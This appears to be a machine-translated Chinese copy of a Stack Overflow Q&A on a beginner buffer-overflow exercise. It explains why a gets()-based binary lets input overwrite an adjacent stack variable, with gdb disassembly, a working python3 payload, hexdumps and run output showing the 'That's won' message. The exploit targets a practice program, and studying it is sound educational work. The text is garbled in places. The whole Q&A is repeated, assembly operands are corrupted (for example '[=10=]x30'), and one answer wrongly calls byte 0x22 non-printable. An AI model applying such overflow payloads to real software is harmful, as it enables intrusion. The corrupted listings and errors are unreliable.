为什么这个二进制文件容易受到缓冲区溢出的影响?
Why is this binary vulnerable to buffer overflow?
这是缓冲区溢出的二进制文件的摘录。我用 Ghidra 反编译了它。
char local_7 [32];
long local_78;
printf("Give it a try");
gets(local_7);
if (local_78 != 0x4141414141414141) {
if (local_78 == 0x1122334455667788) {
puts ("That's won")
}
puts("Let's continue");
}
我想了解为什么会导致缓冲区溢出。
我检查了“0x4141414141414141”十六进制值,发现它与“A”字符串相关。但是与“0x4141414141414141”和“0x1122334455667788”相关的条件到底是做什么的呢?更准确地说,用户可以回答什么以获取消息(“赢了”)?
任何解释将不胜感激,谢谢!
___EDIT___
我必须补充一点,我在使用“disas main”命令时看到了这两个十六进制值:
0x00000000000011a7 <+8>: movabs [=11=]x4141414141414141,%rax
0x00000000000011e6 <+71>: movabs [=11=]x4141414141414141,%rax
0x00000000000011f6 <+87>: movabs [=11=]x1122334455667788,%rax
我尝试使用 python3 -c "print ('A' * 32 +'\x88\x77\x66\x55\x44\x33\x22\x11')" | ./ myBinary
进行缓冲区溢出。
但我总是收到 "Let's continue"
消息。我离解决方案不远,但我想我错过了一件事..你能帮我什么吗?
___EDIT 2___
在获取之前:
char local_7 [40];
long local_78;
local_78 = 0x4141414141414141;
printf("Give it a try");
fflush(stdout);
gets(local_7);
[... and so on]
这里是完整的反汇编:
(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000001189 <+0>: endbr64
0x000000000000118d <+4>: push %rbp
0x000000000000118e <+5>: mov %rsp,%rbp
0x0000000000001191 <+8>: sub [=10=]x30,%rsp
0x0000000000001195 <+12>: lea 0xe68(%rip),%rdi # 0x2004
0x000000000000119c <+19>: mov [=10=]x0,%eax
0x00000000000011a1 <+24>: callq 0x1080 <printf@plt>
0x00000000000011a6 <+29>: lea -0x30(%rbp),%rax
0x00000000000011aa <+33>: mov %rax,%rdi
0x00000000000011ad <+36>: mov [=10=]x0,%eax
0x00000000000011b2 <+41>: callq 0x1090 <gets@plt>
0x00000000000011b7 <+46>: movabs [=10=]x4141414141414141,%rax
0x00000000000011c1 <+56>: cmp %rax,-0x8(%rbp)
0x00000000000011c5 <+60>: je 0x11ef <main+102>
0x00000000000011c7 <+62>: movabs [=10=]x1122334455667788,%rax
0x00000000000011d1 <+72>: cmp %rax,-0x8(%rbp)
0x00000000000011d5 <+76>: jne 0x11e3 <main+90>
0x00000000000011d7 <+78>: lea 0xe34(%rip),%rdi # 0x2012
0x00000000000011de <+85>: callq 0x1070 <puts@plt>
0x00000000000011e3 <+90>: lea 0xe33(%rip),%rdi # 0x201d
0x00000000000011ea <+97>: callq 0x1070 <puts@plt>
0x00000000000011ef <+102>: mov [=10=]x0,%eax
0x00000000000011f4 <+107>: leaveq
0x00000000000011f5 <+108>: retq
重要地址可以通过设置gets
参数的指令确定为local_7
:
0x00000000000011a6 <+29>: lea -0x30(%rbp),%rax
和cmp
指令比较local_78
变量。
0x00000000000011c1 <+56>: cmp %rax,-0x8(%rbp)
如您所见,local_7
位于 -0x30(%rbp)
,而 local_78
位于 -0x8(%rbp)
,缓冲区后刚好 40 个字节。
您的 python 命令不正确,因为您使用的字符串操作会导致它生成有效的 UTF-8,因此会产生额外的字节:
$ python3 -c "print ('A' * 40 +'\x88\x77\x66\x55\x44\x33\x22\x11')"|hd -v
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000020 41 41 41 41 41 41 41 41 c2 88 77 66 55 44 33 22 |AAAAAAAA..wfUD3"|
00000030 11 0a |..|
00000032
注意 88
之前的 c2
字节。有关详细信息,请参阅以下问题:
为什么同样的字符串在python2和python3中打印出来的结果不一样?
如果我们改为使用 bytes
类型,我们可以获得正确的输出:
$ python3 -c "import sys; sys.stdout.buffer.write(b'A' * 40 + b'\x88\x77\x66\x55\x44\x33\x22\x11')"|hd -v
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000020 41 41 41 41 41 41 41 41 88 77 66 55 44 33 22 11 |AAAAAAAA.wfUD3".|
00000030
使用此输入,我们得到 "That's won"
消息:
$ python3 -c "import sys; sys.stdout.buffer.write(b'A' * 40 + b'\x88\x77\x66\x55\x44\x33\x22\x11')"|./a.out
Give it a tryThat's won
Let's continue
此二进制文件容易受到缓冲区溢出的影响,因为它使用 gets() 函数,which is vulnerable,并因此被弃用。
它会将用户输入复制到传递的缓冲区,而不检查缓冲区的大小。因此,如果用户的输入大于可用 space,它将在内存中溢出,并可能覆盖位于缓冲区之后的其他变量或结构。
long local_78;
变量就是这种情况,它位于缓冲区之后的堆栈中,因此我们可以潜在地覆盖它的值。
为此,我们需要传递一个输入:
- 最少 32 个字节,以填充实际缓冲区。 (一个char(ASCII字符)通常应该等于1个字节)
- plus,一个额外的可变字节数来填充缓冲区和
long
变量之间的 space (这是因为很多时候,编译器进行优化并可能在两者之间添加其他变量这两个,即使我们没有将它们放在代码中。堆栈是一个动态内存区域,因此通常不可能 100% 预测其布局)
- plus,8 个字节,这通常是大多数计算机体系结构中 long 的大小(尽管可能不同,但我们假设这是 x86/64)。这是我们将溢出变量的值。
我们不关心放在前 32+X 个字节中的内容(空字节除外)。该程序然后检查 local_78 的一些特殊值,如果该检查通过,它将执行 puts ("That's won");
表示您已经“获胜”或成功利用该程序并覆盖内存。
这里的问题是,这样的值是 0x1122334455667788(同样,一个 8 字节的 long)。我们可以将其字节分开阅读:0x11 0x22 0x33 0x44 0x55 0x66 0x77 0x88,并尝试查看哪个字节对应于哪个 character in ASCII
问题是像 0x22 这样的字节不是 ASCII 可表示的字符,所以你不能直接在控制台中输入它们,因为普通键盘没有输入字符 0x11 的键,因为它没有视觉表示。您将需要一个额外的程序来利用该程序。此类程序将需要使用操作系统中可用的任何机制来传递此类值。例如,在 Linux 中,这可以使用管道/输出重定向来完成
这是缓冲区溢出的二进制文件的摘录。我用 Ghidra 反编译了它。
char local_7 [32];
long local_78;
printf("Give it a try");
gets(local_7);
if (local_78 != 0x4141414141414141) {
if (local_78 == 0x1122334455667788) {
puts ("That's won")
}
puts("Let's continue");
}
我想了解为什么会导致缓冲区溢出。
我检查了“0x4141414141414141”十六进制值,发现它与“A”字符串相关。但是与“0x4141414141414141”和“0x1122334455667788”相关的条件到底是做什么的呢?更准确地说,用户可以回答什么以获取消息(“赢了”)?
任何解释将不胜感激,谢谢!
___EDIT___
我必须补充一点,我在使用“disas main”命令时看到了这两个十六进制值:
0x00000000000011a7 <+8>: movabs [=11=]x4141414141414141,%rax
0x00000000000011e6 <+71>: movabs [=11=]x4141414141414141,%rax
0x00000000000011f6 <+87>: movabs [=11=]x1122334455667788,%rax
我尝试使用 python3 -c "print ('A' * 32 +'\x88\x77\x66\x55\x44\x33\x22\x11')" | ./ myBinary
进行缓冲区溢出。
但我总是收到 "Let's continue"
消息。我离解决方案不远,但我想我错过了一件事..你能帮我什么吗?
___EDIT 2___ 在获取之前:
char local_7 [40];
long local_78;
local_78 = 0x4141414141414141;
printf("Give it a try");
fflush(stdout);
gets(local_7);
[... and so on]
这里是完整的反汇编:
(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000001189 <+0>: endbr64
0x000000000000118d <+4>: push %rbp
0x000000000000118e <+5>: mov %rsp,%rbp
0x0000000000001191 <+8>: sub [=10=]x30,%rsp
0x0000000000001195 <+12>: lea 0xe68(%rip),%rdi # 0x2004
0x000000000000119c <+19>: mov [=10=]x0,%eax
0x00000000000011a1 <+24>: callq 0x1080 <printf@plt>
0x00000000000011a6 <+29>: lea -0x30(%rbp),%rax
0x00000000000011aa <+33>: mov %rax,%rdi
0x00000000000011ad <+36>: mov [=10=]x0,%eax
0x00000000000011b2 <+41>: callq 0x1090 <gets@plt>
0x00000000000011b7 <+46>: movabs [=10=]x4141414141414141,%rax
0x00000000000011c1 <+56>: cmp %rax,-0x8(%rbp)
0x00000000000011c5 <+60>: je 0x11ef <main+102>
0x00000000000011c7 <+62>: movabs [=10=]x1122334455667788,%rax
0x00000000000011d1 <+72>: cmp %rax,-0x8(%rbp)
0x00000000000011d5 <+76>: jne 0x11e3 <main+90>
0x00000000000011d7 <+78>: lea 0xe34(%rip),%rdi # 0x2012
0x00000000000011de <+85>: callq 0x1070 <puts@plt>
0x00000000000011e3 <+90>: lea 0xe33(%rip),%rdi # 0x201d
0x00000000000011ea <+97>: callq 0x1070 <puts@plt>
0x00000000000011ef <+102>: mov [=10=]x0,%eax
0x00000000000011f4 <+107>: leaveq
0x00000000000011f5 <+108>: retq
重要地址可以通过设置gets
参数的指令确定为local_7
:
0x00000000000011a6 <+29>: lea -0x30(%rbp),%rax
和cmp
指令比较local_78
变量。
0x00000000000011c1 <+56>: cmp %rax,-0x8(%rbp)
如您所见,local_7
位于 -0x30(%rbp)
,而 local_78
位于 -0x8(%rbp)
,缓冲区后刚好 40 个字节。
您的 python 命令不正确,因为您使用的字符串操作会导致它生成有效的 UTF-8,因此会产生额外的字节:
$ python3 -c "print ('A' * 40 +'\x88\x77\x66\x55\x44\x33\x22\x11')"|hd -v
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000020 41 41 41 41 41 41 41 41 c2 88 77 66 55 44 33 22 |AAAAAAAA..wfUD3"|
00000030 11 0a |..|
00000032
注意 88
之前的 c2
字节。有关详细信息,请参阅以下问题:
为什么同样的字符串在python2和python3中打印出来的结果不一样?
如果我们改为使用 bytes
类型,我们可以获得正确的输出:
$ python3 -c "import sys; sys.stdout.buffer.write(b'A' * 40 + b'\x88\x77\x66\x55\x44\x33\x22\x11')"|hd -v
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000020 41 41 41 41 41 41 41 41 88 77 66 55 44 33 22 11 |AAAAAAAA.wfUD3".|
00000030
使用此输入,我们得到 "That's won"
消息:
$ python3 -c "import sys; sys.stdout.buffer.write(b'A' * 40 + b'\x88\x77\x66\x55\x44\x33\x22\x11')"|./a.out
Give it a tryThat's won
Let's continue
此二进制文件容易受到缓冲区溢出的影响,因为它使用 gets() 函数,which is vulnerable,并因此被弃用。
它会将用户输入复制到传递的缓冲区,而不检查缓冲区的大小。因此,如果用户的输入大于可用 space,它将在内存中溢出,并可能覆盖位于缓冲区之后的其他变量或结构。
long local_78;
变量就是这种情况,它位于缓冲区之后的堆栈中,因此我们可以潜在地覆盖它的值。
为此,我们需要传递一个输入:
- 最少 32 个字节,以填充实际缓冲区。 (一个char(ASCII字符)通常应该等于1个字节)
- plus,一个额外的可变字节数来填充缓冲区和
long
变量之间的 space (这是因为很多时候,编译器进行优化并可能在两者之间添加其他变量这两个,即使我们没有将它们放在代码中。堆栈是一个动态内存区域,因此通常不可能 100% 预测其布局) - plus,8 个字节,这通常是大多数计算机体系结构中 long 的大小(尽管可能不同,但我们假设这是 x86/64)。这是我们将溢出变量的值。
我们不关心放在前 32+X 个字节中的内容(空字节除外)。该程序然后检查 local_78 的一些特殊值,如果该检查通过,它将执行 puts ("That's won");
表示您已经“获胜”或成功利用该程序并覆盖内存。
这里的问题是,这样的值是 0x1122334455667788(同样,一个 8 字节的 long)。我们可以将其字节分开阅读:0x11 0x22 0x33 0x44 0x55 0x66 0x77 0x88,并尝试查看哪个字节对应于哪个 character in ASCII 问题是像 0x22 这样的字节不是 ASCII 可表示的字符,所以你不能直接在控制台中输入它们,因为普通键盘没有输入字符 0x11 的键,因为它没有视觉表示。您将需要一个额外的程序来利用该程序。此类程序将需要使用操作系统中可用的任何机制来传递此类值。例如,在 Linux 中,这可以使用管道/输出重定向来完成